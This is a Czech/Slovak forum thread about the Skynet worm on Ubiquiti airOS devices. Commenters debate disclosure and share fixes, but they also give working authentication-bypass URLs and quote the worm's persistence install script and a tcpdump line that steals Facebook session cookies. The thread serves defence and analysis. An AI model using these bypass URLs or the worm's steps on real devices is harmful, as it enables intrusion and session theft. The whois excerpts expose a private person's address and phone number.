Děkuji za více než užitečnou informaci - opět ukázka jedné hyper super klikací obezličky, který v téhle podobě podle mě nemá na žádném zařízení co dělat.
Nicméně zveřejněním postupu manuální instalace viru byla de-facto zveřejněna informace o zranitelné cestě přímo v článku. Nešlo napsat alespoň "najděte si cestu v archivu" nebo něco podobného? Docela mě děsí až si nějaké kiddie dá dvě a dvě dohromady a začne instalovat bez konzole :-(
Tomáš
Pokud vývojáři zmíněného SW o chybě už vědí, nevidím v tom, že se jede na full disclosure, problém.
Nicméně způsob odstraňování v článku je nešťastný, protože nectí zásadu „jednou rootem, navždy rootem“. Může se tedy stát, že útočník bude mít k systému přístup pořád. Pomohla by jen úplná reinstalace.
UBNT zariadenia bezia na read-only filesysteme (neda sa remountovat na read/write). Virus sa uklada iba do oblasti kde je konfiguracia, do adresra ktory je urceny pre uzivatelske skripty. Reset konfiguracie na likvidaciu staci. Ak ovsem utocnik neflashne medzicasom do zaiadenia svoj zmeneny firmware. V kazdom pripade reflash firmware a vymazanie konfiguracie (aspon adresarov kde sa virus uklada) bude 100% v pohode. Do read-only filesystemu (squashfs) je principialne dost velky problem nieco zapisat.
Horsie je to ze diera je zverejnena a ze dostat sa do cudzieho zariadenia je trivialne.
K clanku by som opdotkol len tolko ze navrhovane opravy (doplnenie airos.deny) nie su ucinne (treba zakazat vsetky vynimky, potom ale uz nejde web rozhranie vobec). Bud si treba vypnut web rozhranie uplbne alebo neexistuje (bez rekompilacie firmware a modulu mod_airos) ziadna oprava alebo uprava ktora by to riesila.
Uváděná konfigurace /usr.../lighttpd.conf řeší všechny případy podvržení url,
akorát ji musíte dostat do squashfs (vlastní firmware), nemusíte pak řešit nahrání pomocných věcí v /etc/persistent
Jinou variantou je, nahrát lighttpd.conf do /etc/persistent a přinutit (konfigurace /etc/lighttpd.conf) lighttpd aby používalo konfigurační soubor v /etc/persistent.. Jenže to znamená úpravu rc.poststart a kill webserveru po startu. To mi přišlo velmi komplikované, tak jsem to do článku neuváděl a raději uvedl, že je to lepší dát do upraveného firmwaru.
Kym je v airos.allow napisane "/login.cgi", je mozne pridanim tohto stringu do URL vyvolat zelane (chybove) spravanie. A v momente odstranenia "/login.cgi" z airos.allow (alebo po jeho pridani do airos.deny) uz sice chyba nie je pritomna, ale do weboveho rozhrania sa viac neda prihlasit.
Rekompilaciou sa da odstranit admin.cgi co moze trochu pomoct, ale fakt len trochu. Bez opravy mod_airos (parsovania URL) sa (imho) neda odstranit stav, ze bez hesla sa da citat (a menit) konfiguracia zariadenia.
Ste mi tym clankom pekne posrali vianoce, smradi. Co oci nevidia, to srdce neboli...
skuste ale napr:
http://ip.ad.re.sa/admin.cgi/uplnachujovina/login.cgi
a toto uz otvori.. zabezpecenie bud treba doriesit dokompilovanim matchnutia na zaciatok a koniec stringu alebo vypnutim prepisu od UBNT.
Trochu jsem se na to podíval: musí se upravit lighttpd, přesněji modul mod_airos.c:
Ve funkci mod_airos_uri_handler() se sice správně testuje con->uri.path (přesněji se to testuje v uri_is_in_list()), jenže v době testování obsahuje uri.path ještě "path info".
To "path info" se detekuje/odstraňuje až později (response.c:699), takže uri.path bez něj vidí až mod_airos_subrequest_start(). Teprve v ní by měly být volány testy deny/allow. (Název deny/allow je trochu matoucí, protože "deny" znamená odmítnout úplně, kdežto "allow" znamená poslat bez autorizace - to, co není ani v "deny", ani v "allow" posílá jen autorizovaným uživatelům).
Ještě by se slušelo dát do uri_is_in_list() výjimku, že pokud testovaný vzorek začíná lomítkem, musí být shoda v celé délce.
Ubiquiti na tom prý pracuje, pravděpodobně dojdou k podobnému závěru, tak jsem línej přetahovat ty testy z mod_airos_uri_handler do mod_airos_subrequest_start, protože to stejně udělají za chvilku také... Proti zveřejněné verzi "skynet" stačí ochrana popsaná v článku, tak se snad dočkáme opravy z USA dříve, než přijde skynet2 ;-)
Ad „opět ukázka jedné hyper super klikací obezličky, který v téhle podobě podle mě nemá na žádném zařízení co dělat“
Více méně souhlas – problém je jednak v tom, že se nepoužívají standardní a vyzkoušené prostředky/frameworky, ale nějaký vlastní, evidentně nedostatečně otestovaný a zkontrolovaný bastl, a jednak v tom, že je to malé zařízení, je potřeba extrémně šetřit zdroji → je tu vyšší pravděpodobnost, že dojde k chybě.
Na druhou stranu, uživatelé těchto zařízení jsou často lamy a nějaké uživatelsky přívětivé rozhraní je pro ně nutnost – nejsou schopní psát něco do příkazové řádky, bohužel.
Napadají mne dvě možnosti, jak by se to dalo zlepšit:
1) Použít HTTP autentizaci – to je standardní a vyzkoušené řešení a v implementaci by neměly být takové trapné chyby, jako předvedli autoři té formulářové autentizace. Webová aplikace by pak mohla být i děravá, ale tolik by to nevadilo, protože přes HTTP autentizaci by se k ní dostal jen ten, kdo by znal jméno a heslo.
2) V zařízení mít jen to nejnutnější, žádný webový ksindl, jen SSH. A udělat nějakou pěknou a přívětivou aplikaci, která by běžela u uživatele na desktopu, připojovala se přes SSH a pouštěla na dálku příkazy.
Ad 2 - to je cesta do pekla. Obyčejný uživatel by to vnímal tak, že musí do PC instalovat "ovladače pro tu krabičku". A bez nich že to ani nezkonfiguruje. Pak by se začala řešit kompatibilita s různými OS a po nějaké době by tu byli nešťastní uživatelé, kterým "ty ovladače" nějak nefungují a skupina IT profesionálů, kteří si budou ťukat na hlavu proč vůbec někoho napadlo dělat standardní konfiguraci !routeru! jako samostatnou aplikaci, navíc když je tu zažitý postup - konfigurace přes web. Za pár měsíců by si už málokdo vzpomněl, že to celé začalo jen tím, že autoři neuměli napsat bezpěčný webový interface.
Jinak já osobně webové rozhraní preferuji. Jsem na něj zvyklý u routerů, u HW print serverů, tiskáren, IP kamer, vlastně snad všech těch krabiček. Jsou jich tu kolem desítky (možná i lehce přes stovečku) a já se nemusím nazpaměť učit jak se která konfiguruje. Ověřit stav tiskárny nebo routeru zvládnu z jakéhokoliv PC s prohlížečem ať už na něm běží OS jaký chce. Jediné co musím vědět je IP adresa, zbytek je intuitivní nebo "až to uvidím, tak si vzpomenu".
Bejvavalo;) A kdyztak to neni telekomunikacni sit, ale telekomunikacni zarizeni pripadne verejne prospesne zarizeni.
To by nekdo musel prekopnout nejakou preshranicni optiku nebo spoj Praha-Brno. Pro dotycneho by byl vetsi trest nahrada skody nez se hezky valet a nic nedelat.
Z verejne otevreneho portu by se mohl vykroutit a bylo by treba dokazat mu umysl. Coz neni tak jednoduche. Navic nekdo mohl sice vir udelat, ale nekdo jiny ho mohl vypustit.
Nemyslete si ze nekoho vytrhne par blbych lokalnich poskytovatelu. Tady se kope jen za velke hrace jako O2 nebo CRa. Je to smutne ale to je bohuzel realny stav v CR. Dotycny si musi spocitat zda-li se mu vyplati jit do sporu s CTU a mafii jmenem ceska justice.
Ja na zaklade vyse zmineneho paragrafu o "poskozeni a ohrozeni obecne prospesneho zarizeni" stravil noc na Pankraci (kde jsem byl mlacen teleskopem pres hlavu za vykriku "tady mate tu vasi demokracii" apod.) a nasledne sel malem sedet - za utrzeny sluchatko telefonniho automatu, co mi sezral dvacetikorunu. Takze zase pozor.
Myslim, ze to je celkem zrejme. Navic root napomaha potencialnim utocnikum pomoci posledniho odstavce clanku.
§ 132 Obecně prospěšné zařízení
Obecně prospěšným zařízením se rozumí veřejné ochranné zařízení proti požáru, povodni nebo jiné živelní pohromě, obranné nebo ochranné zařízení proti leteckým a jiným podobným útokům nebo jejich následkům, ochranné zařízení proti úniku znečišťujících látek, zařízení energetické nebo vodárenské, podmořský kabel nebo podmořské potrubí, zařízení a sítě elektronických komunikací a koncová telekomunikační a rádiová zařízení, zařízení držitele poštovní licence, zařízení pro veřejnou dopravu, včetně součástí dráhy a drážních vozidel ve veřejné drážní dopravě a svislých zákazových nebo příkazových dopravních značek a dopravních značek upravujících přednost.
Definice, skutková podstata a sankce:
(1) Kdo úmyslně poškodí obecně prospěšné zařízení nebo ohrozí jeho provoz nebo využívání, bude potrestán odnětím svobody až na tři léta nebo zákazem činnosti.
(2) Odnětím svobody na jeden rok až šest let nebo peněžitým trestem bude pachatel potrestán,
a) zničí-li, odstraní-li nebo učiní-li neupotřebitelným obecně prospěšné zařízení,
b) způsobí-li činem uvedeným v odstavci 1 poruchu provozu obecně prospěšného zařízení, nebo
c) způsobí-li takovým činem značnou škodu.
(3) Odnětím svobody na dvě léta až osm let bude pachatel potrestán,
a) způsobí-li činem uvedeným v odstavci 1 nebo 2 písm. a) škodu velkého rozsahu, nebo
b) spáchá-li takový čin za stavu ohrožení státu nebo za válečného stavu.
Na konci tohoto článku http://www.zive.cz/clanky/prolomili-jsme-se-do-cizi-wi-fi-site-video/sc-3-a-161340/default.aspx je pár zajímavých paragrafů, vhodných pro trestní stíhání
S prominutím, předem se omlouvám za následující slova:
Jen blb nechává Webové rozhraní routeru otevřené pánu Bohu do oken a komunikuje s ním přes port 80.
Případně jen blb používá jako provider zařízení, které cokoliv takového vyžaduje.
U běžného domácího uživatele se nedivím, u firmy, která poskytuje služby jsem šokován. Přímo si o takový "crack" říkáte...
Webové rozhraní wifi zařízení nemáme z venku otevřené (standartně), ale nepodchytí případy, kdy zákazník trvá na veřejné ip adrese a rozhraní nanostationa je (může být) dostupné. Nechci teď tvrdit že vnitřní a vnější síť (NAT) je samospásné.
Jenže jakmile se skynet (nějak) dostane do zařízení, pustí sken a infikuje zevnitř (včetně lokální sítě atd..), navíc to infikování nemuselo přijít nutně z venku ale klidně zevnitř (z pc apod), i když pravděpodobnější je ta varianta přes veřejnou ip.
I pres komentare nize nemohu nez souhlasit. Nechat takhle otevreny port do sveta kdyz denne vas scannuji hromady skriptu je krajne nezodpovedne. Casovana bomba ktera prave vybouchla. V siti kterou ve svem volnem case udrzuji mame treba specialni rozsah pro management. Clenove sdruzeni jsou od management site jeste oddeleni VLANy. A to nejsme komercni ISP.
prosim otestovat , ja budem mat testovaci hw k dispozicii az vecer
http://www.orso.sk/nanostationm5/XM.v5.3.3.sdk.9634.111219.1130.bin
sice jste překopal soubor /admin.cgi , a rozloučil se se skynetem :)
ale na URL to zabezpečené nemáte. Například se mi podařilo zařízení s vaším firmwarem restartovat pomocí
http://192.168.1.22/reboot.cgi/.gif
tu je uz deny podla roota a pridanych este par direktiv, ako jedine normalne riesenie sa ukazuje asi fakt uprava lighttpd , resp. pridanie podpory reg. vyrazov
ale to bude na dlhsie
http://www.orso.sk/nanostationm5/XM.v5.3.3.sdk.9634.111219.1204.bin
Zmíněná veřejná IP je registrována na tohoto poskytovatele http://www.cninet.cz/ . Nezkoušel ho už někdo kontaktovat, aby ji například zablokoval? Právě ted je stále dostupná ...
To jsem celkem zvědav ... napíšu mu asi taky ...
Toto je skoro na trestní oznámení, vzhledem k povaze dat, která virus sbírá a odesílá. Máme tím napadenu sít a zrovna zkoumáme jak moc, přesto , že nemáme zařízení dostupná z veřejného internetu, někdo to musel dovnitř zavléct ... :/
1. Nespadate to jurisdikce CR
2. Sirite poplasnou zpravu coz je podle naseho i vaseho zakoniku trestne
3. Neoznameni trestneho cinu je trestne podle naseho i vaseho zakoniku
4. Pokud se cela vec zataji, tak prave ze vzniknou nedozirne skody. V minulosti muzete najit dost takovych prikladu.
aj tak si myslim, ze by tento clanok mal byt zmazany az do doby ked UBNT vyda na to patch.
momentalne neexistuje jednoduchy fix na tuto bezpecnostnu dieru, kedze cez webrozhranie UBNT zariadeni sa neda vypnut webserver, zariadenia UBNT nepodporuju filtering cez iptables.
zatial ako pouzitelne riesenie sa nam javi zmena kofiguracneho suboru webservera do takej podoby aby sa po restarte nespustil, este to musime vsak otestovat.
V clanku jako takovem problem neni nejvetsi riziko je v poslednim odstavci pro "experimentatory", kdy si nejaky vseumel muze stahnout samotny virus v taru a ma tam i prehledny navod jak jej nainstalovat. Takze timhle zpusobem nejspis nekdo mohl nakazil klfree zevnitr. Doporucoval bych ROOTu odkaz na tento soubor z clanku odstranit, aby jej kterakoli lama nemohla jednoduse rozsirit do dalsich "uzavrenych" zatim neinfikovanych siti!
rad by som prispel do diskusie realnym riesenim.
pomocou UBNT AirControl je mozne nasledovny script spustit hromadne na viacerych zariadeniach:
#verzia pre bridge-mode
ebtables -A INPUT -p IPv4 --ip-src management.ip.adresa --ip-protocol tcp --ip-destination-port 80 -j ACCEPT
ebtables -A INPUT -p IPv4 --ip-protocol tcp --ip-destination-port 80 -j DROP
echo "ebtables -A INPUT -p IPv4 --ip-src management.ip.adresa --ip-protocol tcp --ip-destination-port 80 -j ACCEPT" >> /etc/persistent/rc.poststart
echo "ebtables -A INPUT -p IPv4 --ip-protocol tcp --ip-destination-port 80 -j DROP" >> /etc/persistent/rc.poststart
chmod +x /etc/persistent/rc.poststart
cfgmtd -w -p /etc/
#verzia pre router mode
iptables -A INPUT -p tcp -s management.ip.adersa --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
echo "iptables -A INPUT -p tcp -s management.ip.adresa --dport 80 -j ACCEPT" >> /etc/persistent/rc.poststart
echo "iptables -A INPUT -p tcp --dport 80 -j DROP" >> /etc/persistent/rc.poststart
chmod +x /etc/persistent/rc.poststart
cfgmtd -w -p /etc/
Dík za jednoduchou a efektivní záplatu. To cfgmtd bych musel dlouho lovit v dokumentaci, resp. zapomněl rovnou.
P.S. To bude reklamací až to tam někteří P.T. čtenáři naflákají v opačném pořadí ... :-)
P.P.S Ta adresa 178.216.144.75 už je v téhle chvíli zaříznutá (alespoň z nix.cz). Nějaký dva routery na optonet.cz si jí mezi sebou upinkají do TTL.
7: nix.dialtelecom.cz (91.210.16.9) 10.175ms asymm 8
8: gw-optonet.dialtelecom.cz (82.119.252.186) 21.599ms asymm 9
9: core.optonet.cz (78.156.128.2) 28.681ms asymm 10
10: net-102.optonet.cz (78.156.128.102) 12.963ms asymm 11
11: net-101.optonet.cz (78.156.128.101) 14.803ms asymm 10
12: net-102.optonet.cz (78.156.128.102) 12.116ms asymm 11
13: net-101.optonet.cz (78.156.128.101) 16.314ms asymm 10
14: net-102.optonet.cz (78.156.128.102) 15.925ms asymm 11
15: net-101.optonet.cz (78.156.128.101) 21.876ms asymm 10
16: net-102.optonet.cz (78.156.128.102) 17.665ms asymm 11
Idealni by bylo dostat se primo k danemu zarizeni a zjistit co dela script drobe.cgi. Tam by mohlo byt pojitko na tvurce. Otazka je jestli tam nedal nejake samodestrukcni ochrany a na danem zarizeni uz treba nic neni. No to uz je prace asi pro policii, ktera ma ale jine starosti takze ....
inetnum: 178.216.144.0 - 178.216.151.255
netname: CNINET-NETWORK
descr: Pavel Scepka, CNI-NET network
country: CZ
org: ORG-CNIN1-RIPE
admin-c: PASC2-RIPE
tech-c: PASC2-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-END-MNT
mnt-by: CNINET-MNT
mnt-lower: RIPE-NCC-END-MNT
mnt-routes: CNINET-MNT
mnt-domains: CNINET-MNT
source: RIPE #Filtered
organisation: ORG-CNIN1-RIPE
org-name: Pavel Scepka
org-type: OTHER
address: Halasova 5015/9, 586 01 Jihlava, Czech Republic
e-mail: info@cninet.cz
mnt-ref: CNINET-MNT
mnt-by: CNINET-MNT
source: RIPE #Filtered
person: Pavel Scepka
address: 5015/9, 586 01 Jihlava, Czech Republic
phone: +420776828000
nic-hdl: PASC2-RIPE
mnt-by: CNINET-MNT
source: RIPE #Filtered
route: 178.216.144.0/21
descr: CNINET
origin: AS43542
mnt-by: CNINET-MNT
mnt-by: MNT-OPTONET
source: RIPE #Filtered
inetnum: 0.0.0.0 - 255.255.255.255
netname: IANA-BLK
descr: The whole IPv4 address space
country: EU #Country is really world wide
org: ORG-TT1-TEST
admin-c: AA1-TEST
tech-c: AA2-TEST
status: ALLOCATED UNSPECIFIED
remarks: The country is really worldwide.
mnt-by: TEST-ROOT-MNT
mnt-lower: TEST-DBM-MNT
mnt-routes: TEST-DBM-MNT
remarks: This is an automatically created object.
source: TEST #Filtered
organisation: ORG-TT1-TEST
org-name: ORG TEST
org-type: RIR
address: Somewhere in nowhere
phone: +12 34 567 8900
fax-no: +12 34 567 8900
admin-c: AA1-TEST
tech-c: AA2-TEST
mnt-ref: TEST-DBM-MNT
mnt-by: TEST-ROOT-MNT
remarks: This is an automatically created object.
source: TEST #Filtered
role: TEST ROLE
nic-hdl: AA2-TEST
address: Somewhere in nowhere
phone: +12 34 567 8900
fax-no: +12 34 567 8900
abuse-mailbox: bitbucket@ripe.net
admin-c: AA1-TEST
tech-c: AA2-TEST
mnt-by: TEST-ROOT-MNT
remarks: This is an automatically created object.
source: TEST #Filtered
person: Test Person
mnt-by: TEST-ROOT-MNT
address: Somewhere in nowhere
phone: +12 34 5678900
fax-no: +12 34 5678900
nic-hdl: AA1-TEST
remarks: This is an automatically created object.
source: TEST #Filtered
Skript uvedeny v clanku mi nefunguje. Takto sem odviroval zarizeni ja:
cd /etc/persistent
rm rc.poststart
rm -rf .skynet
echo "echo 'airos.deny += (\"/admin.cgi/.gif\")' >> /etc/lighttpd.conf" > /etc/persistent/rc.poststart
echo 'kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`' >> /etc/persistent/rc.poststart
chmod +x /etc/persistent/rc.poststart
cfgmtd -w -p /etc/
reboot
U nas v siti to postihlo zarizeni na verejkach, nic nenasvedcuje tomu, ze by se vir siril dal v siti za NATem. Dnes v 12:55 se mi velke mnozstvi zavirovanych UBNT kouslo.
Jen bych se chtěl podělit o (snad) pozitivní zkušenost, používám Nanostation NS5 se stařičkým firmware 3.3.2 (4257) z 14.2.2009. Ať dělám co dělám (virus jsem si stáhnul, rozpakoval, prošel a zkouším ručně simulovat jeho útok), na stránku admin.cfg se bez zadání hesla nedostanu. Přitom pokud zadám heslo, stránka se zobrazí a je normálně funkční.
Ten fw je standardně dostupný na oficiálních stránkách, tak pokud jsem něco nepřehlédl a nepotřebujete nutně něco co tenhle FW nemá, je to taky workaround.
Neviem ako prebieha vas test ja osobne som neskusal vlozit tento vir do mojho zariadenia ale len namatkovo som testoval ci existuje admin.cgi teda nie admin.cfg ako ho uvadzate vy. Z toho sa domnievam ze hladate admin.cfg ktory tam zjavne ani nikdy nebol a nebude. Alebo sa v tomto vasom pripade jedna len o preklep.
tcpdump -A -s 0 -w - -l "tcp dst port 80" | grep "^Cookie: " | grep "xs=" >/etc/persistent/.skynet/tt &
Jedna se o session cookie facebooku, ucelem byl nejspis fb spam/malware. Nutno poznamenat ze tcpdump se zdaleka nevyskytuje na vsech airos takze uspesnost neni uplne jista.
Dobry den,
clanek je velmi zajimavy. Mam sice doma pouze Wifi router DLink, ale radeji jsem zkusil test na virus z clanku:
Jak zjistit, že mám zavirované zařízení
zkuste se přihlásit do vašeho zařízení a zobrazit stránku http://ip.ad.re.sa/admin.cgi – pokud stránka neexistuje, máte tam Skynet
Zkusil jsem tady zadat do browseru "http://ip.ad.re.sa/admin.cgi" a ke sve hruze jsem zjistil, ze stranka skutecne neexistuje (klasicky HTTP error 404) a tady mam dany virus na tom svem routeru!
Bohuzel postup na odstraneni viru je napsan na uplne jine zarizeni, jak mam tedy ted postupovat?
Mam cekat na novy firmware od firmy Dlink?
Na D-LINKU to tenhle vir nebude - on je specifický pro zařízení UBNT a jen pro verze s určitou bezp.dírou, ale neklesejte na mysli, v D-LINKu bude třeba zase něco jiného ;)
BTW: je to s tím přejmenováním admin.cgi pravda? v install skriptu viru je toto:
cd /etc/persistent/.skynet
mv /etc/persistent/skynet.tgz .
mv rc.poststart /etc/persistent
ln -s /usr/www/* ./
mv admin.cgi adm.cgi
mv admina.cgi admina2.cgi
cfgmtd -w -p /etc/
reboot
tj. udělá v adresáři .skynet symlinky CGI skritů, dva z nich přejmenuje a řádek před rebootem to uloží do persistentní paměti.
Ale nejsem si jist jestli to pak nějak po rebootu ovlivní výsledné verze CGI skritů v /usr/www - nemáte v tom někdo jasno?
Jak zjistit, že mám zavirované zařízení
zkuste se přihlásit do vašeho zařízení a zobrazit stránku http://ip.ad.re.sa/admin.cgi
Tím je myšleno zadat tu adresu do webováho prohlížeče?